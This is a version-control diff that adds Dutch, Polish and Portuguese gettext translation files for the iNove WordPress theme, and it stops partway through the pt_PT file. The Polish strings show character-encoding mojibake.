sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Abonneer op deze blog via e-mail..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "E-mail feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Ga naar startpagina" + +#: single.php:7 +msgid "Home" +msgstr "Start" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "Type tekst hier om te zoeken..." + +#~ msgid "Blogroll" +#~ msgstr "Blogroll" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/pl_PL.mo Binary file web/wp-content/themes/inove/languages/pl_PL.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/pl_PL.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/pl_PL.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,573 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:03+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Polish\n" +"X-Poedit-Country: POLAND\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - wszystkie wpisy" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - wszystkie komentarze" + +#: 404.php:22 +msgid "Talker" +msgstr "Talker" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Witaj na stronie błędu 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Witaj na tej specjalnej stronie. DotarÅ‚eÅ› do tego miejsca, ponieważ kliknÄ…Å‚eÅ› w link, który nie istnieje. Jest to prawdopodobnie nasza wina... ale zamiast pokazywać Ci standardowa stronÄ™ '404 Error', która jest mylÄ…ca i niewiele tÅ‚umaczy, przygotowaliÅ›my tÄ… specjalnÄ… stronÄ™, która wyjaÅ›nia co poszÅ‚o nie tak." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Możesz albo (a) kliknąć 'wstecz' w swojej przeglÄ…darce aby przejść w inna część witryny, lub (b) kliknąć w poniższy link aby przejść do strony gÅ‚ownej." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Powrót do strony głównej »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Wyniki wyszukiwania" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "SÅ‚owa kluczowe: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archiwum" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archiwum dla ‘%1$s’ Kategoria" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Posty oznaczone ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Archiwum dla %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Archiwum autora" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Archiwum bloga" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Edytuj" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Brak komentarzy" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 komentarz" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% comments" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "Komentarze wyłączone" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Czytaj wiÄ™cej..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "Kategorie:" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "Tagi:" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Wybacz, żadne wpisy nie pasowaÅ‚y do Twoich kryteriów." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Nowsze wpisy" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Starsze wpisy" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Zostaw komentarz" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Idź do komentarzy" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Wprowadź swoje hasÅ‚o aby wyÅ›wietlić komentarze." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Komentarze" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacki" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Brak komentarzy" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Strony komentarza" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s at %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Brak jeszcze trackbacków" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Komentarze sÄ… zamkniÄ™te" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Musisz być zalogowany aby dodać komentarz." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Zalogowany jako" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Wyloguj siÄ™ z tego konta" + +#: comments.php:151 +msgid "Logout »" +msgstr "Wyloguj »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Witaj ponownie %s." + +#: comments.php:158 +msgid "Change »" +msgstr "ZmieÅ„ »" + +#: comments.php:159 +msgid "Close »" +msgstr "Zamknij »" + +#: comments.php:166 +msgid "Name" +msgstr "Nazwa" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(wymagane)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (nie bÄ™dzie wyÅ›wietlany)" + +#: comments.php:174 +msgid "Website" +msgstr "Strona" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Zasybskrybuj źródÅ‚o komentarzy" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Dodaj komentarz" + +#: footer.php:17 +msgid "Top" +msgstr "Góra" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright ©" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Opcje obecnego tematu" + +#: functions.php:194 +msgid "Search" +msgstr "Szukaj" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "UżywajÄ…c wyszukiwarki google." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Pasek menu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Pokaż strony jako menu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Pokaż kategorie jako menu." + +#: functions.php:231 +msgid "Sidebar" +msgstr "Pasek boczny" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Powiadomienie" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML enabled" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Pasek powiadomienie bÄ™dzie wyÅ›wietlany na górze strony głównej." + +#: functions.php:270 +msgid "Banner" +msgstr "Banner" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "Ten banner bÄ™dzie wyÅ›wietlany po prawej stronie nagłówka. (wysokość 60 pikseli)" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Kto może widzieć?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Zarejestrowani użytkownicy" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Komentatorzy" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "OdwiedzajÄ…cy" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Pokaz" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Ten pokaz bÄ™dzie wyÅ›wietlany na górze paska bocznego." + +#: functions.php:329 +msgid "Title:" +msgstr "TytuÅ‚:" + +#: functions.php:345 +msgid "Posts" +msgstr "Wpisy" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Pokaż autora we wpisach" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Pokaż kategorie we wpisach" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Pokaż tagi we wpisach" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "WyÅ›lij wszystkie komentarze za pomocÄ… Ctrl+Enter." + +#: functions.php:381 +msgid "Feed" +msgstr "ŹródÅ‚o" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Po najechaniu myszkÄ… na guzik źródeÅ‚ pokaż ich czytnik." + +#: functions.php:390 +msgid "Custom feed." +msgstr "ŹródÅ‚o dostosowane." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "ŹródÅ‚o email." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Zapisz zmiany" + +#: functions.php:567 +msgid "Reply" +msgstr "Odpowiedz" + +#: functions.php:568 +msgid "Quote" +msgstr "Cytuj" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Edycja zaawansowana" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Twój komentarz czeka na moderacjÄ™" + +#: links.php:18 +msgid "Add link" +msgstr "Dodaj odnoÅ›nik" + +#: links.php:19 +msgid "Edit links" +msgstr "Edytuj linki" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Zasybskrybuj ten blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Zasybskrybuj poprzez" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Zasybskrybuj ten blog poprzez email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "ŹródÅ‚o email" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Idź do strony głównej" + +#: single.php:7 +msgid "Home" +msgstr "Home" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "Wpisz tekst do wyszukania..." + +#~ msgid "Blogroll" +#~ msgstr "Blogroll" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/pt_BR.mo Binary file web/wp-content/themes/inove/languages/pt_BR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/pt_BR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/pt_BR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:06+0900\n" +"PO-Revision-Date: 2009-08-07 14:06+0900\n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Portuguese\n" +"X-Poedit-Country: BRAZIL\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - Todos os textos" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 Todos os comentários" + +#: 404.php:22 +msgid "Talker" +msgstr "Informante" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Bem-vindo a página de erro 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Bem-vindo a nossa página de erro personalizada. Você está vendo esta página porque clicou em um link que não existe mais. Provavelmente isso é uma falha nossa... mas ao invés de exibir a página básica de 'ERRO 404' que é confusa e não explica nada, nós criamos esta para explicá-lo o que houve de errado." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Você pode: (a) Clicar no botão 'Voltar' em seu navegador e tentar navegar em nosso site a partir de outras páginas, ou (b) Clicar no no link a seguir para voltar a página inicial." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Voltar à página inicial »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Resultados da busca" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Palavra-chave: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arquivo" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arquivo da Categoria ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Textos com Etiquetas ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arquivo de %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j, F, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Arquivo do autor" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Arquivo do blog" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Editar" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Sem comentários" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 comentário" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% comentários" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Leia mais..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Desculpe, nenhum texto combina com seus critérios." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Entradas recentes" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Entradas antigas" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Deixar um comentário" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Ir para os comentários" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Entre com sua senha para ver os comentários." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Comentários" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Nenhum comentário ainda." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Página de comentários" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s em %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Nenhum trackback ainda." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Os comentários estão fechados." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Você deve estar autenticado para enviar um coment´rio." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Autenticado como" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Sair desta conta" + +#: comments.php:151 +msgid "Logout »" +msgstr "Sair »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Bem-vindo novamente %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Alterar »" + +#: comments.php:159 +msgid "Close »" +msgstr "Fechar »" + +#: comments.php:166 +msgid "Name" +msgstr "Nome" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(obrigatório)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (não será publicado)" + +#: comments.php:174 +msgid "Website" +msgstr "Website" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Inscrever no feed de comentários" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Enviar comentário" + +#: footer.php:17 +msgid "Top" +msgstr "Topo" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Direitos reservados © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Tema criado por NeoEase. Validar XHTML 1.1 e CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Opções do Tema atual" + +#: functions.php:194 +msgid "Search" +msgstr "Procurar" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Usar o Google Custom Search Engine." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Localize o name=\"cx\" no Código da caixa de busca do Google Custom Search Engine, e digite o valor aqui.
    Por exemplo: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Bara de menu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Exibir páginas como menu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Exibir categorias como menu." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Informação" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML ativado" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Esta barra de informação será exibida acima dos textos na página inicial. " + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Quem pode ver?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Usuários registrados" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Comentarista" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Visitantes" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Caixa de texto" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Esta caixa de texto será exibida no topo da barra lateral." + +#: functions.php:329 +msgid "Title:" +msgstr "Título:" + +#: functions.php:345 +msgid "Posts" +msgstr "Textos" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Exibir autor do texto." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Exibir categorias do texto." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Exibir etiquetas do texto." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Feed personalizado." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Feed por Email." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Salvar alterações" + +#: functions.php:567 +msgid "Reply" +msgstr "Resposta" + +#: functions.php:568 +msgid "Quote" +msgstr "Citação" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Editar" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Editar links" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Inscrever neste blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Inscrever com " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Inscrever neste blog por email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Feed por Email" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Ir para a página inicial" + +#: single.php:7 +msgid "Home" +msgstr "Página Inicial" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/pt_PT.mo Binary file web/wp-content/themes/inove/languages/pt_PT.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/pt_PT.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/pt_PT.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:06+0900\n" +"PO-Revision-Date: 2009-08-07 14:07+0900\n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Portuguese\n" +"X-Poedit-Country: BRAZIL\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - Todos os artigos" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - Todos os comentários" + +#: 404.php:22 +msgid "Talker" +msgstr "Informador" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Bem-vindo à página de erro 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Bem-vindo à nossa página de erro personalizada. Você está nesta página porque clicou num link que já não existe. Provavelmente isso é uma falha nossa... mas em vez de apresentarmos a página básica do 'Erro 404' que é confusa e não explica nada, nós criamos esta para lhe explicar mais correctamente o que se passou." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Você pode: (a) Clicar no botão 'Voltar' no seu browser e tentar navegar no nosso site para outras páginas, ou (b) Clicar no no link a seguir para voltar à página inicial." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Voltar à página inicial »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Resultados da procura" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Palavra Chave: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arquivo" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arquivo da Categoria ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Artigos com Etiquetas ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arquivo de %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" 